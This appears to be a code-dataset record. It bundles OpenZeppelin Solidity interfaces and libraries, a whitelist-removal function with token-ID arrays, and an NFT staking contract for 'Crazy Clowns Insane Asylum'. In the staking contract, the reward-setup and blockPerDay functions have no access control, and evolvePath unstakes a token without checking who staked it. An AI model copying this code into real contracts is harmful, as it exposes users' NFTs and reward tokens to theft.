function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
|
* @dev Removes addresses from the whitelist/
|
function removeFromWhitelist(address[] calldata addrs) external onlyOwner notLocked {
for (uint i=0; i<addrs.length; i++) {
Whitelist[addrs[i]] = false;
}
}
| 15,862,376 |
[
1,
6220,
6138,
628,
326,
10734,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
22386,
18927,
12,
2867,
8526,
745,
892,
11755,
13,
3903,
1338,
5541,
486,
8966,
288,
203,
3639,
364,
261,
11890,
277,
33,
20,
31,
277,
32,
23305,
18,
2469,
31,
277,
27245,
288,
203,
5411,
3497,
7523,
63,
23305,
63,
77,
13563,
273,
629,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
/*
▄████▄ ██▀███ ▄▄▄ ▒███████▒▓██ ██▓
▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒
▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░
▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░
▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒███████▒ ░ ██▒▓░
░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒
░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░
░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
▄████▄ ██▓ ▒█████ █ █░ ███▄ █ ██████
▒██▀ ▀█ ▓██▒ ▒██▒ ██▒▓█░ █ ░█░ ██ ▀█ █ ▒██ ▒
▒▓█ ▄ ▒██░ ▒██░ ██▒▒█░ █ ░█ ▓██ ▀█ ██▒░ ▓██▄
▒▓▓▄ ▄██▒▒██░ ▒██ ██░░█░ █ ░█ ▓██▒ ▐▌██▒ ▒ ██▒
▒ ▓███▀ ░░██████▒░ ████▓▒░░░██▒██▓ ▒██░ ▓██░▒██████▒▒
░ ░▒ ▒ ░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
Crazy Clowns Insane Asylum
2021, V1.1
https://ccia.io
*/
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './CrazyClown.sol';
import './BalloonToken.sol';
import './NFTExtension.sol';
/**
* @title NFTStaking
* @dev Stake NFTs, earn ballon tokens
* @author
*/
contract NFTStaking is Ownable {
using SafeMath for uint256;
// ERC20 Reward Token
BalloonToken public rewardsToken;
struct Pool {
uint256 lastRewardBlock;
uint256 rewardsEarned;
uint256 rewardsReleased;
}
struct Stake {
mapping(uint256 => Pool) pool;
uint256[] tokenIds;
mapping(uint256 => uint256) tokenIndex;
}
struct StakeParam {
address _contract;
uint256 _tokenId;
}
struct Path {
address to_address;
bool burn_original;
BalloonToken fee_contract;
uint256 evolve_fee;
}
mapping(address => Path) public evolvePathList;
mapping(address => bool) public evolvePathExists;
// Registered NFT List
mapping(address => NFTExtension) public NFTTokens;
mapping(address => bool) _isNFTRegistered;
address[] NFTTokenList;
// Blocks per day
uint256 public blockPerDay = 5760;
// Mapping of a NFT contract to mapping from account to Stake struct
mapping(address => mapping(address => Stake)) stakers;
// Turn staking on/off
bool public allowStaking;
// Turn claim reward on/off
bool public allowClaiming;
// Mapping from a NFT Contract to a mapping from a token ID to owner address
mapping(address => mapping(uint256 => address)) public tokenOwner;
// Mapping from NFT address to its daily reward
mapping(address => uint256) public dailyReward;
// @notice event emitted when a user has staked a token
event Staked(address owner, address tokenAddress, uint256 amount);
// @notice event emitted when a user has unstaked a token
event Unstaked(address owner, address tokenAddress, uint256 amount);
// @notice event emitted when a user claims reward
event RewardPaid(address indexed user, uint256 reward);
/// @notice Emergency unstake tokens without rewards
event EmergencyUnstake(address indexed user, uint256 tokenId);
modifier isAllowedStaking() {
require(allowStaking, 'Staking is currently disabled');
_;
}
modifier isAllowedClaiming() {
require(allowClaiming, 'Claiming is currently disabled');
_;
}
constructor(BalloonToken _rewardsToken) {
rewardsToken = _rewardsToken;
}
/// @notice Function allows us to add or update an external NFT contract address along with dailyReward
function addNftReward(address contract_address, uint256 reward_per_block_day) public {
require(!_isNFTRegistered[contract_address], 'Contract has been already registered');
dailyReward[contract_address] = reward_per_block_day;
NFTTokens[contract_address] = NFTExtension(contract_address);
NFTTokenList.push(contract_address);
_isNFTRegistered[contract_address] = true;
}
/// @notice function will allow us to remove an external NFT contract address.
function removeNftReward(address contract_address) public {
require(_isNFTRegistered[contract_address], 'Contract is not registered');
delete dailyReward[contract_address];
delete NFTTokens[contract_address];
// Remove from registered NFT Contract List
for (uint256 i = 0; i < NFTTokenList.length; i++) {
if (NFTTokenList[i] == contract_address) {
NFTTokenList[i] = NFTTokenList[NFTTokenList.length - 1];
NFTTokenList.pop();
break;
}
}
_isNFTRegistered[contract_address] = false;
}
function _getNFTTokenList() external view returns (address[] memory) {
return NFTTokenList;
}
function stakeBatch(StakeParam[] memory _tokenList) external isAllowedStaking {
for (uint256 i = 0; i < _tokenList.length; i++) {
_stake(msg.sender, _tokenList[i]._contract, _tokenList[i]._tokenId);
}
}
/// @notice Stake NFTs and earn reward tokens.
function stake(
address _tokenAddress,
uint256 _tokenId,
address account
) external isAllowedStaking {
require(_tokenAddress != address(0), 'Token Address is null');
// require(NFTTokens[_tokenAddress].name(), "NFT Token is not registered");
require(account == _msgSender() || _msgSender() == _tokenAddress, 'DONT GIVE YOUR TOKENS AWAY');
if (_msgSender() != _tokenAddress) {
require(NFTTokens[_tokenAddress].ownerOf(_tokenId) == msg.sender, 'msg.sender is not owner of token');
_stake(msg.sender, _tokenAddress, _tokenId);
} else {
require(NFTTokens[_tokenAddress].ownerOf(_tokenId) == account, 'account is not owner of token');
_stake(account, _tokenAddress, _tokenId);
}
}
/**
* @dev All the staking goes through this function
*/
function _stake(
address _user,
address _tokenAddress,
uint256 _tokenId
) internal {
Stake storage _item = stakers[_tokenAddress][_user];
_item.pool[_tokenId].lastRewardBlock = block.number;
_item.tokenIds.push(_tokenId);
_item.tokenIndex[_tokenId] = _item.tokenIds.length - 1;
tokenOwner[_tokenAddress][_tokenId] = _user;
NFTTokens[_tokenAddress].transferFrom(_user, address(this), _tokenId);
emit Staked(_user, _tokenAddress, _tokenId);
}
function unstake(address _tokenAddress, uint256 _tokenId) external {
require(_tokenAddress != address(0), 'Token Address is null');
require(tokenOwner[_tokenAddress][_tokenId] == msg.sender, 'Sender must have staked tokenID');
_claimReward(msg.sender, _tokenAddress, _tokenId);
_unstake(msg.sender, _tokenAddress, _tokenId);
}
/**
* @dev All the unstaking goes through this function
* @dev Rewards to be given out is calculated
*/
function _unstake(
address _user,
address _tokenAddress,
uint256 _tokenId
) internal {
Stake storage _item = stakers[_tokenAddress][_user];
delete _item.pool[_tokenId];
uint256 lastIndex = _item.tokenIds.length - 1;
uint256 lastIndexKey = _item.tokenIds[lastIndex];
uint256 tokenIdIndex = _item.tokenIndex[_tokenId];
_item.tokenIds[tokenIdIndex] = lastIndexKey;
_item.tokenIndex[lastIndexKey] = tokenIdIndex;
if (_item.tokenIds.length > 0) {
_item.tokenIds.pop();
delete _item.tokenIndex[_tokenId];
}
delete tokenOwner[_tokenAddress][_tokenId];
NFTTokens[_tokenAddress].transferFrom(address(this), _user, _tokenId);
emit Unstaked(_user, _tokenAddress, _tokenId);
}
function pendingReward(address _tokenAddress, uint256 _tokenId) external view returns (uint256) {
uint256 _reward = _pendingReward(msg.sender, _tokenAddress, _tokenId);
return _reward;
}
// View function to see pending Reward on frontend.
function _pendingReward(
address _user,
address _tokenAddress,
uint256 _tokenId
) internal view returns (uint256) {
Pool storage _pool = stakers[_tokenAddress][_user].pool[_tokenId];
uint256 tokenReward = ((block.number).sub(_pool.lastRewardBlock)).mul(dailyReward[_tokenAddress]).div(blockPerDay);
return tokenReward;
}
// Updates the reward earned per staked Token.
function updateReward(
address _user,
address _tokenAddress,
uint256 _tokenId
) internal {
Pool storage _pool = stakers[_tokenAddress][_user].pool[_tokenId];
uint256 _reward = _pendingReward(_user, _tokenAddress, _tokenId);
_pool.rewardsEarned = _pool.rewardsEarned.add(_reward);
_pool.lastRewardBlock = block.number;
}
function claimReward(address _tokenAddress, uint256 _tokenId) external {
require(_tokenAddress != address(0), 'TokenAddress is null');
_claimReward(msg.sender, _tokenAddress, _tokenId);
}
/// @notice Lets a user with rewards owing to claim tokens
function _claimReward(
address _user,
address _tokenAddress,
uint256 _tokenId
) internal isAllowedClaiming {
updateReward(_user, _tokenAddress, _tokenId);
Pool storage _pool = stakers[_tokenAddress][_user].pool[_tokenId];
uint256 payableAmount = _pool.rewardsEarned.sub(_pool.rewardsReleased);
_pool.rewardsReleased = _pool.rewardsReleased.add(payableAmount);
rewardsToken.mint(_user, payableAmount);
emit RewardPaid(_user, payableAmount);
}
/// @dev Getter functions for NFTStaking contract
/// @dev Get the tokens staked by a user
function getStakedTokens(address _user, address _tokenAddress) external view returns (uint256[] memory tokenIds) {
return stakers[_tokenAddress][_user].tokenIds;
}
// Unstake without caring about rewards. EMERGENCY ONLY.
function emergencyUnstake(address _tokenAddress, uint256 _tokenId) public {
require(tokenOwner[_tokenAddress][_tokenId] == msg.sender, 'Sender must have staked tokenID');
_unstake(msg.sender, _tokenAddress, _tokenId);
emit EmergencyUnstake(msg.sender, _tokenId);
}
// Claim all the staked tokens from registered NFT contracts
function claimAll() public {
for (uint256 i = 0; i < NFTTokenList.length; i++) {
address _tokenAddress = NFTTokenList[i];
uint256[] storage tokenList = stakers[_tokenAddress][msg.sender].tokenIds;
for (uint256 index = 0; index < tokenList.length; index++) {
_claimReward(msg.sender, _tokenAddress, tokenList[index]);
}
}
}
// Public function to Update blockPerDay
function updateBlockPerDay(uint256 _blockPerDay) public {
blockPerDay = _blockPerDay;
}
// Function to register evolve path
function addEvolvePath(
address from_address,
address to_address,
bool burn_original,
address fee_contract,
uint256 evolve_fee
) external onlyOwner {
require(from_address != address(0), 'Contract From Address is null');
require(to_address != address(0), 'Contract to Address is null');
require(fee_contract != address(0), 'Fee Contract to Address is null');
evolvePathList[from_address].to_address = to_address;
evolvePathList[from_address].burn_original = burn_original;
evolvePathList[from_address].fee_contract = BalloonToken(fee_contract);
evolvePathList[from_address].evolve_fee = evolve_fee;
evolvePathExists[from_address] = true;
}
// Function to delete evolve Path
function deleteEvolvePath(address from_address) external onlyOwner {
require(from_address != address(0), 'Contract From Address is null');
delete evolvePathList[from_address];
evolvePathExists[from_address] = false;
}
// Function to evolve NFT
function evolvePath(
address original_nft_address,
uint256 token_id,
bool isStaked
) external {
require(original_nft_address != address(0), 'Original NFT Contract address is null');
Path storage _path = evolvePathList[original_nft_address];
if (isStaked) {
// Evolve from Staked
_unstake(msg.sender, original_nft_address, token_id);
} else {
// check to see if user has token_id in the original nft address
require(NFTTokens[original_nft_address].ownerOf(token_id) == msg.sender, 'msg.sender is not owner of token');
}
// check to see if evolve path is registered
require(evolvePathExists[original_nft_address], 'Evolve Path from original nft address is not registered');
BalloonToken feeContract = _path.fee_contract;
uint256 balanceOfSender = feeContract.balanceOf(address(msg.sender));
// check to see if user has token amount to evolve
require(balanceOfSender > _path.evolve_fee, 'User does not have enough ballon to evolve');
// burn original token if burn_original of corresponding evolve path is true
if (_path.burn_original) {
NFTTokens[original_nft_address].burn(token_id);
}
// Transfer Balloon Fee Token to evolveToAddress Contract
feeContract.burn(msg.sender, _path.evolve_fee);
// Mint a new NFT Token to msg.sender
uint256 _evolvedTokenId = NFTTokens[_path.to_address].evolve_mint(msg.sender);
// Stake Evolved NFT if original token was staked.
if (isStaked) {
_stake(msg.sender, _path.to_address, _evolvedTokenId);
}
}
function toggleAllowStaking() external onlyOwner {
allowStaking = !allowStaking;
}
function toggleAllowClaiming() external onlyOwner {
allowClaiming = !allowClaiming;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
